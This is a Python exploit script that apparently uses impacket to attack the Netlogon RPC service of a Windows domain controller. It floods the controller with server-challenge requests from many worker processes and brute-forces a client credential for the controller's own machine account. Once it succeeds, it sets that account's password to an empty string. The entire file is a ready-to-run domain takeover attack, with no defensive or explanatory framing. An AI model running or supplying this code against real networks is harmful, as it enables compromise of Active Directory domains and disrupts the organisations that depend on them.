import argparse from exploit.utils import AES_128_BIT_CFB_AND_SHA2, FLAGS, log from impacket.dcerpc.v5 import nrpc, epm, transport from impacket.dcerpc.v5.dtypes import NULL from impacket.nt_errors import STATUS_ACCESS_DENIED from multiprocessing import JoinableQueue, Process import time import signal # Increase file limit import resource file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE)) if file_limit[1] > 10000: file_limit[0] = 10000 else: file_limit[0] = file_limit[1] file_limit = tuple(file_limit) resource.setrlimit(resource.RLIMIT_NOFILE, file_limit) def parse_args(): parser = argparse.ArgumentParser(description="Netlogon RPC Client") parser.add_argument("--dc-name", help="Domain Controller Name") parser.add_argument("--dc-ip", required=True, help="Domain Controller IP Address") parser.add_argument("--username", "-u", required=True, help="sAMAccountName of the domain controller") parser.add_argument("--comp-username", help="sAMAccountName of the computer account for buffer flushing") parser.add_argument("--comp-password", help="Computer password for buffer flushing") parser.add_argument("--comp-hash", help="Computer hash for buffer flushing (optional, if not provided, password will be used)") parser.add_argument("--workers", "-w", type=int, default=100, help="Number of worker threads") parser.add_argument("--naive", action="store_true", help="Use naive approach and bruteforce 2^32") return parser.parse_args() def connect(dc_ip, dc_name, silent=False): binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() try: rpc_con.bind(nrpc.MSRPC_UUID_NRPC) if not silent: log(f"Successfully bound to Netlogon RPC on {dc_name} ({dc_ip})") return rpc_con except Exception as e: log(f"Failed to bind to Netlogon RPC: {e}", "red") exit(1) def req_challenges_worker(queue: JoinableQueue, dc_ip, dc_name, computer_name, client_chall, per_worker): # Ignore SIGINT in this process (worker will not react to Ctrl+C) signal.signal(signal.SIGINT, signal.SIG_IGN) rpc_con = connect(dc_ip, dc_name, silent=True) while True: task = queue.get() if task == "STOP": queue.task_done() break try: for _ in range(per_worker): nrpc.hNetrServerReqChallenge( rpc_con, f"{dc_name}\x00", f"{computer_name}\x00", client_chall ) except Exception as e: log(f"Worker error: {e}", "red") finally: queue.task_done() def do_successful_authentication(rpc_con, dc_name, computername, username, password=None, nt_hash=None, server_chall=None): if password is None and nt_hash is None: raise ValueError("Either password or nt_hash must be provided") AccountName = f"{username}$" # Account that tries to authenticate ComputerName = computername client_chall = b"12345678" flags = FLAGS(0b0100000000111111111111111111111) flags.set_bit(AES_128_BIT_CFB_AND_SHA2) # Set the AES flag if not server_chall: # Request server challenge if not provided resp = nrpc.hNetrServerReqChallenge( rpc_con, f"{dc_name}\x00", f"{ComputerName}\x00", client_chall, ) server_chall = resp["ServerChallenge"] # Local computations session_key = nrpc.ComputeSessionKeyAES( password, client_chall, server_chall, nt_hash, ) ClientStoredCredential = nrpc.ComputeNetlogonCredentialAES( client_chall, session_key, ) # Authenticate with the server nrpc.hNetrServerAuthenticate2( rpc_con, NULL, f"{AccountName}\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, f"{ComputerName}\x00", ClientStoredCredential, flags.flag ) def set_password_empty(rpc_con, dc_name, AccountName, ComputerName, client_chall): # Construct a valid authenticator authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator["Credential"] = client_chall # The encryption will revert the last byte back to the original value authenticator["Timestamp"] = 0 # Construct the ClearNewPassword structure as empty password new_pw = "".encode("utf-16le") assert len(new_pw) <= 512 ClearNewPassword = nrpc.NL_TRUST_PASSWORD() ClearNewPassword["Buffer"] = (b"\x00" * (512 - len(new_pw))) + new_pw ClearNewPassword["Length"] = len(new_pw) assert len(ClearNewPassword.getData()) == 516 assert ClearNewPassword.getData() == b"\x00" * 516 req = nrpc.NetrServerPasswordSet2() req["PrimaryName"] = f"{dc_name}\x00" req["AccountName"] = f"{AccountName}\x00" req["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel req["ComputerName"] = f"{ComputerName}\x00" req["Authenticator"] = authenticator req["ClearNewPassword"] = ClearNewPassword.getData() try: rpc_con.request(req) log("Password set successfully to empty string!") return True except nrpc.DCERPCException: return False def clear_lines(n): r""" Clears n lines in the terminal. \033[F moves the cursor up one line. \033[K clears the line. """ for _ in range(n): print("\x1B[F\x1B[K", end="") def main(): args = parse_args() log(args) # Set up arg variables dc_ip = args.dc_ip dc_name = args.dc_name username = args.username.rstrip("$") # Remove trailing '$' if present num_workers = args.workers comp_username = args.comp_username.rstrip("$") if args.comp_username else None # Remove trailing '$' if present comp_password = args.comp_password comp_hash = bytes.fromhex(args.comp_hash) if args.comp_hash else None # Setup two rpc connections for the cleanup auth and our main authentication try rpc_con_auth = connect(dc_ip, dc_name) rpc_con_cleanup = connect(dc_ip, dc_name) # Define the flags for AES authentication flags = FLAGS(0b0100000000111111111111111111111) flags.set_bit(AES_128_BIT_CFB_AND_SHA2) # Set the AES flag log(f"Using flags: ({bin(flags.flag)}) \n{flags} ") # Define auth vars tries = 100_000 # 100_000 cache places but leave some room for clean up and other connections per_worker = tries // num_workers AccountName = f"{username}$" # Account that tries to authenticate ComputerName = username # NetBIOS name of the client computer authenticating client_chall = b"\x00" * 4 + b"\x11" * 3 + b"\x00" # Set up multiprocessing queue for request challenges task_queue = JoinableQueue() processes = [] for _ in range(num_workers): p = Process( target=req_challenges_worker, args=(task_queue, dc_ip, dc_name, ComputerName, client_chall, per_worker) ) p.start() processes.append(p) # To be sure we have a clean start, do a successful authentication first if comp_username: do_successful_authentication(rpc_con_cleanup, dc_name, ComputerName, username=comp_username, password=comp_password, nt_hash=comp_hash) total_time = 0 total_tries = 0 cycles = 0 if comp_username and not args.naive: log("Estimated total tries with flushing: 2^24 / 2") exp_tries = 2**24 / 2 authenticator_complexity = 2**8 elif args.naive: log("Estimated total tries (naive): 2^32 / 2") exp_tries = 2**32 / 2 authenticator_complexity = 1 else: log("Estimated total tries without flushing: 2^16 / 2") exp_tries = 2**16 / 2 authenticator_complexity = 2**16 # Stop bruteforce if we found a valid clientCredential found = False print() log("Starting the brute force attack...") try: while not found: cycles += 1 start_all = time.perf_counter() start_req = time.perf_counter() # Request server challenge for clean up so it is the first item in the request list resp = nrpc.hNetrServerReqChallenge( rpc_con_cleanup, f"{dc_name}\x00", f"{ComputerName}\x00", b"12345678" # Dummy client challenge, ) server_chall = resp["ServerChallenge"] # Perform challenge requests for _ in range(num_workers): task_queue.put("REQUEST") task_queue.join() # Block until all tasks are processed end_req = time.perf_counter() # Try to guess the clientCredential which should be client_challenge[:6] + 2x rand_byte start_auth = time.perf_counter() tries_this_round = tries for i in range(authenticator_complexity): # If we exceed 2 minutes, resend challenges and restart the round due to automatic cache flush curr_time = time.perf_counter() if curr_time - start_auth > 120: tries_this_round = i break try: if comp_username: clientCredential = client_chall[:7] + int.to_bytes(i, 1) else: clientCredential = client_chall[:6] + int.to_bytes(i, 2) # Check if session key encrypts the client challenge with null bytes nrpc.hNetrServerAuthenticate2( rpc_con_auth, NULL, f"{AccountName}\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, f"{ComputerName}\x00", clientCredential, # IF THIS WORKS WE FOUND THE CORRECT SESSION KEY flags.flag ) log(f"!!!Successfully authenticated {AccountName} on {dc_name} with {clientCredential}!!!") found = True except nrpc.DCERPCSessionError as e: if e.get_error_code() == STATUS_ACCESS_DENIED: pass else: raise e except Exception as e: log(f"Authentication error: {e}", "red") end_auth = time.perf_counter() if not found: start_cleanup = time.perf_counter() if comp_username: do_successful_authentication(rpc_con_cleanup, dc_name, ComputerName, username=comp_username, password=comp_password, nt_hash=comp_hash, server_chall=server_chall) end_cleanup = time.perf_counter() end_all = time.perf_counter() # Flush previous lines if total_tries != 0: clear_lines(10) # Track all time stats total_tries += tries_this_round total_time += end_all - start_all # Log the timing information log("ROUND STATS:", "blue") log(f"REQ: Took {end_req - start_req} seconds, average time per attempt: {(end_req - start_req) / (tries_this_round):.20f} seconds", "blue") log(f"TRY: Took {end_auth - start_auth} seconds", "blue") log(f"CLEANUP: Took {end_cleanup - start_cleanup} seconds", "blue") log(f"ALL: Took {end_all - start_all} seconds, average time per attempt: {(end_all - start_all) / (tries_this_round):.20f} seconds", "blue") log("", "blue") log("TOTAL STATS:", "blue") log(f"TIME: {total_time / 60 / 60:.2f} hours passed, average time per attempt: {total_time / (total_tries):.20f} seconds", "blue") log(f"TRIES: {total_tries}, average tries per cycle: {total_tries // cycles}", "blue") log(f"Estimated progress: {(total_tries / exp_tries) * 100:.2f}%, estimated time remaining: {((total_time / total_tries) * (exp_tries - total_tries)) / 60 / 60:.2f} hours", "blue") # SET THE NEW PASSWORD TO EMPTY STRING for i in range(256): if set_password_empty(rpc_con_auth, dc_name, AccountName, ComputerName, client_chall[:7] + int.to_bytes(i)): log(f"Successfully set the password of {AccountName} to an empty string!") break except KeyboardInterrupt: print("\x1B[K", end="\r") log("KeyboardInterrupt received, exiting gracefully.") finally: # Stop all worker processes for _ in processes: task_queue.put("STOP") log("All tasks have been processed, stopping workers.") for p in processes: p.join() print(f"Worker {p.pid} has been stopped.", end="\r", flush=True) log("All workers have been stopped.") task_queue.join() task_queue.close()